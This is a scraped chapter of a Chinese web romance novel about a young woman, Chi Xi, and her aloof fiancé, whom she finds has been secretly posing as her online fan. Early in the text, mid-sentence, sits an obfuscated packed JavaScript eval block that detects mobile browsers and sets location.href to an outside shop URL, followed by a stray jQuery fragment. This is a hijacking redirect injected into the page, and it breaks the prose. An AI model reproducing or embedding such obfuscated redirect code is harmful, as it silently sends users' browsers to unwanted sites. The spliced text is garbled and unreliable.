即使现在的他是坐着的,但周身居高临下的强大气场还是让他有种睥睨的淡淡审视。 他强调她的身份:“你是我的未婚妻。” 作为他的未婚妻,她的一言一行都需要得体。 否则,她丢的是他的脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239135|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>池溪不知道为什么昨天还好好的,抱着她温柔入睡的男人,今天又回到一开始的态度。 莫名其妙。她又没惹他。 池溪最后还是换了衣服,但出于自己的小小叛逆,她换的衣服是一条相同款式相同布料,不同颜色的裙子。 她出来时,沈决远坐在客厅等她。 他再次以那种审视的目光看向她,他肯定察觉到她的‘小小叛逆’ 但他似乎懒得再和她浪费口舌,而是脱掉自己身上的大衣,搭在她的肩上。沉甸甸的大衣,一如池溪此时的心脏。 跌落谷底。 今天家中有客人来,是Valerius家族所谓的旁支亲眷。 可以看出沈决远对他们没什么太深厚的感情。 因为他冷静从容的周旋其中,所展示出的只有常规的礼貌与绅士风度。 和他对待陌生人时没有任何区别。 全程乖巧跟在他身边的池溪,因为他,存在感也高出许多。 池溪发现这些低调贵气的old money都有一个共同点,那就是讲话的语速通常不快。十分从容:“这就是coco?比我想象中的年纪更小。” 对方笑着与她打招呼。 池溪曾经问过沈决远,她需要去改一个英文名吗?她这个英文名取的太随意了。沈决远说不用,很可爱。 这段时间上了不少礼仪课,她知道这种时候该怎么做。 此时也礼貌地冲对方笑了笑:“您好...” 在称呼上卡了壳,她求助般地看向身侧的男人。 然而这一眼却让她愣住。 对方也正好在看她,在他冰冷漠然的眼神,男人淡声提醒:“伯父。” 池溪的笑容因为沈决远的疏离而逐渐淡了下去,她僵硬地继续和对方打招呼:“伯父...” 后面的问好也忘了,整个人的思绪像被漩涡搅乱。 她听见身旁的男人替她打圆场:“非常抱歉,她身体不太舒服,改天我会带她亲自登门拜访。” 那位长辈愉悦地笑了笑:“没关系,年纪还小,不适应这些繁琐的场面很正常。” 对方离开后,沈决远将池溪拉到一旁,问她:“你怎么了。” “我...”她抿了抿唇,心里充斥着委屈,“这话...应该我问你才对。” 他微微皱眉:“问我什么?” “你为什么突然这么对待我.....” 面对她的委屈控诉,眉头皱地更深:“我怎么对待你?” 一直以来她都在害怕,害怕沈决远又会像之前那样,害怕他们的关系又会回到原点。 她总觉得自己的幸福是靠那个娃娃偷来的,迟早有一天会还回去。所以她才会不顾一切解除绑定,就是为了能够逃离他的身边。 如果偷来的幸福会有到期的那一天,那她宁愿不要。 解决困难的方法就是不要面对。 她一直都是一个胆小鬼。可是这次,她好不容易勇敢一次,她以为自己真的要幸福了.... 她真的是这么以为的.... 她以为自己要幸福了.... 为什么又会回到原点。 如果是在以前,他以这种方式对待她,她并不会太难过。 可是现在,人一旦在拥有过后再体验失去,是一件比未曾拥有更加可怕的事情。 她无法接受这样的落差,这种变化让她委屈让她难过。 等池溪反应过来的时候,她的眼泪已经流了满脸。男人的眉头仍旧皱的很深。 然后他不顾礼数地抓住她的胳膊离开了这里,无礼地将那些宾客留在了宴会厅之中。 池溪一言不发地被他带回卧室。 她坐在沙发上,男人则屈膝半蹲在她面前。即使这样,他高大的身躯让他的视线仍旧比她的高。 无时无刻,他都是俯视看她。带着他傲慢的厌恶。 “为什么会哭。” 池溪想,自己的胆子的确变大了不少。如果在以前,面对他这番冷淡的质问,她只会害怕到低着头一言不发。可是现在,她鼓起勇气反驳:“我连哭都不行吗?” 男人顿了顿,似乎被她反驳问住。 片刻后,他单手摘了眼镜,手指压放在太阳穴两侧按了按:“我没有说你不能哭,你知道这是什么场合吗?” 对啊,今天来的都是他的长辈。马上就是他们的订婚宴了,他们是来提前祝贺的。 自己却任性地在那种地方耍小性子。她应该忍一忍的。 池溪心中涌上一股内疚,她低着头,憋回了眼泪,小声道歉:“对不起...我刚才只是...” 她只是接受不了沈决远又像之前那样对待她而已。 沈决远看了她一眼。 池溪已经调节好自己的情绪了,她说:“刚才是我不对,我这次不哭了,我会和刚才那位伯父道歉。” 沈决远没有立刻回答她,而是在思考数秒后起身。 语气冷淡:“你不用去了,留在房间好好休息一会吧。” “什么?”池溪愣了愣。 他已经起身走到门边,池溪看到他点燃一支烟,眉间忧虑不散:“我让你先休息。” 池溪被他这个眼神逼退,不得不乖乖坐下。 他离开后池溪也没办法好好休息,她不安地在房间里走来走去,走去走来。 甚至还去书房用沈决远的电脑打了一把游戏想要缓解焦虑。 但她的注意力完全没办法集中。 她觉得自己应该好好和沈决远谈一谈。 对!不管他为什么会突然对自己冷淡,她就应该问清楚。 总比像现在这样胡思乱想要好。 她退出游戏,想要登录论坛看一看自己发布的那部漫画有没有新的评论。可是刚打开网站,就显示自动登入成功。 她愣了一下,她不记得自己在这台电脑上登录过自己的论坛账号。 可当她右移鼠标,看到上方的id时,整个人如坠冰窟。 原来她所认为的那个小迷妹不仅不是女生,更加不是学生。 VVE,他曾经告诉过她,这是他名字的缩写。 Valerius·V·Eli 她当时还疑惑过,中国有以V开头的姓氏吗。 原来是Valerius...... 家里那几个佣人实在没有忍住,就在私下议论了一会儿。 “你不觉得coco小姐今天很奇怪吗。先生担心她穿的单薄会着凉,所以让她去换一身衣服,语气那么温柔。她却好像受了天大的委屈。我在衣帽间帮她换衣服时她还哭了。” “刚才在宴会厅里,先生见她神色不对劲,担心她不适应这样的场合,便让她先回房间休息。可她却一副受了委屈、仿佛被羞辱的样子,甚至赌气离开了。先生追上去哄她,只是不知道最后有没有哄好。” “应该是没哄好。我看见先生从房间里出来的时候,抽着烟,神色很不好。” “天呐,我真的担心她会和先生吵架。万一先生的耐心被她耗尽怎么办。”池溪的好人缘此时体现的凌厉尽致。她们是真心为她感到担忧。 先生成熟冷静,情绪稳定,但他不是温柔包容的性格。这点从他平时做的那些生意就可以看出来。 没有哪个真善美的绅士,可以面不改色地用枪打穿一个人的手臂。 coco在这个国度唯一能够依靠的就是Valerius先生。 她不该任性。 就算是任性,也该把握好那个度,保持在在情趣的范畴内。 倘若动起真格来,吃亏的只会是coco. 就连玛丽索也叹了口气。 她预感到了,今天肯定会有一场‘战争’展开。 希望不会演变成一场‘家暴’ 她双手合十地祈祷。 并且得出一个结论:别惹老实人。 很显然,Valerius先生犯了这个禁忌,虽然不知道他是怎么惹到她的。